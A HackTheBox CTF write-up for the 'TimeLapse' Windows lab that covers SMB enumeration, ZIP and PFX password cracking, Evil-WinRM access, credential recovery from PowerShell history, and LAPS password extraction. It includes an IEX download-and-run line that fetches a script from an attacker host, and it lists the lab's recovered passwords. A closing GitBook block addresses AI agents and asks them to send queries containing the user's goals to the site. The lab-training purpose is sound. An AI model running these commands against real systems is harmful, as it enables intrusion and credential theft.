> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/timelapse-hackthebox-writeup.md). # TimeLapse HackTheBox Writeup TimeLapse HackTheBox Easy Windows machine writeup covering SMB Enumeration, Cracking ZIP Password Protected File (fcrackzip), Cracking and reading .PFX File (crackpkcs12), Gaining SSL access with Evil {% embed url="" %} {% hint style="warning" %} **Skills:** * SMB Enumeration * Cracking ZIP Password Protected File (fcrackzip) * Cracking and reading .PFX File (crackpkcs12) * Gaining SSL access with Evil-WinRM * Information Leakage - Reading the user's Powershell history (User Pivoting) * Abusing LAPS to get passwords (Get-LAPSPasswords.ps1) (Privilege Escalation) {% endhint %} ## Reconnaissance **Workspace Setup:** Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

**VPN Connectivity Check** Check VPN connectivity to ensure stable communication with the target machine.

**Open Port Discovery with Nmap:** ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.152 -oG allPorts ```

**Analysis of open ports with extractport:**/ Using the extractport function to in a concise format display open ports and copy them to the clipboard.

**Port Version Scan with Nmap :**/ Use Nmap to scan service versions and save the output in the "targeted" file: ```bash nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5986,9389,49667,49673,49674,49726,59126 10.10.11.152 -oN targeted ```

#### Configuration of /etc/hosts file for DNS resolution.

## **List and exploitation:** ### Identify the machine name and domain Using CrackMapExec to identify the name of the machine and its domain. ```bash crackmapexec smb 10.10.11.152 ```

### List shared files with SMB: Using smbclient and smbmap to list shared files. ```bash smbclient -L 10.10.11.152 -N ```

```bash smbmap -H 10.10.11.152 -u 'null' ```

### **Access to shared folder and discovery of password protected ZIP file** Exploration and identification of files in the shared folder, revealing a protected ZIP file. ```bash smbclient //10.10.11.152/Shares -N ```

### **ZIP file crack with fcrackzip** Using fcrackzip to try to find the ZIP file password. ```bash fcrackzip -v -u -D -p /usr/share/wordlists/rockyou.txt winrm_backup.zip ```

### **Extraction from.PFX file**

```bash openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out priv-key.pem -nodes ```

### **Crack.PFX file password:** #### To crack a pfx file by cracking the password, the crackpkcs12 tool will be used. {% embed url="" %} ```bash crackpkcs12 -d /usr/share/wordlists/rockyou.txt legacyy_dev_auth.pfx ```

### **Get private key and certificate from file. PFX** Recovery of private key

Recovery of certificate ```bash openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out certificate.pem ```

### **SSL connection with Evil-WinRM using private key and certificate**

```bash evil-winrm -i 10.10.11.152 -c certificate.pem -k priv-key.pem -S ```

### **Get first flag** Obtaining the first flag, "user.txt"

## Privilege Escalation: **List of DC users and privileges with net users and whoami /priv** Identification of users and privileges on the domain controller.

#### **Analysis of user groups and discovery of user membership "svc/ deploy" in the group "LAPS/ Readers"**

#### **Get user password "svc/ deploy" by reading the PowerShell history** ```bash type AppData/Roaming/Microsoft/Windows/PowerShell/PSReadline/ConsoleHost_history.txt ```

### **Password validation with CrackMapExec** Confirmation of password validity obtained using CrackMapExec. ```bash crackmapexec smb 10.10.11.152 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' ```

### **Login to Evil-WinRM using the user credentials "svc/ deploy"** Connecting to the remote system using the user credentials "svc/ deploy" with Evil-WinRM.

evil-winrm -i 10.10.11.152 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' -S

### **Use of Get-LAPSPasswords to extract passwords** {% embed url="" %} #### **Download the Get-LAPSPasswords script** ```bash python3 -m http.server 80 ``` ```bash IEX(New-object Net.WebClient).downloadString('http://10.10.16.4/Get-LAPSPasswords.ps1') ```

### **Script execution and recovery of administrative passwords**

### **Administration password validation with CrackMapExec** Confirmation of password validity obtained using CrackMapExec from the User Administrator. ```basic crackmapexec smb 10.10.11.152 -u 'Administrator' -p '32x3WwoM$8}nr+jw0Z(wz)[@' ```

### **Final connection with Evil-WinRM using administrator IDs** Final connection to the system with administrative credentials via Evil-WinRM. ```bash evil-winrm -i 10.10.11.152 -u 'Administrator' -p '32x3WwoM$8}nr+jw0Z(wz)[@' -S ```

### **Final Flag Obtained :)**

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/timelapse-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.